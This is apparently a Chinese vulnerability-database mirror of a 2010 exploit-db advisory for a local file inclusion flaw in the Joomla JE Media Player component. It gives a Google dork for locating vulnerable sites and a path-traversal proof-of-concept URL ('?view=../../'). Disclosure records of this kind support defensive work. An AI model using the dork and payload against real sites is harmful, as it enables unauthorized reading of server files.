Joomla! Component JE Media Player - Local File Inclusion

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1060553 漏洞类型
发布时间 2010-06-26 更新时间 2010-06-26
CVE编号 N/A CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/14060
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
Name : Joomla je-media-player LFI Vulnerability
Date : june, 26 2010
Critical Level     : HIGH
Vendor Url : http://joomlaextensions.co.in/extensions/components/je-media-player.html
Google Dork: inurl:/components/je-media-player.html?
Price:$15.00
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz
#######################################################################################################
Description:
      There are three different manager in that component :-

   1. Album Management
   2. Song Management
   3. Setting

1. Album Management :- Admin can add,edit ,delete,published and unpublished  the album photo,name and description. Create the thumbnail for

that album photo. User can configure the album photo size from the configuration.

2. Song Management :- Admin can upload song into the particular album.  Song name and description add,edit and delete from the song

management.

3.Setting :- Configure the album thumbnail width and height. Also configure the player width and height.

#######################################################################################################
Xploit:LFI Vulnerability

DEMO URL : http://server/demo/components/je-media-player.html?view=../../

############################################################################################################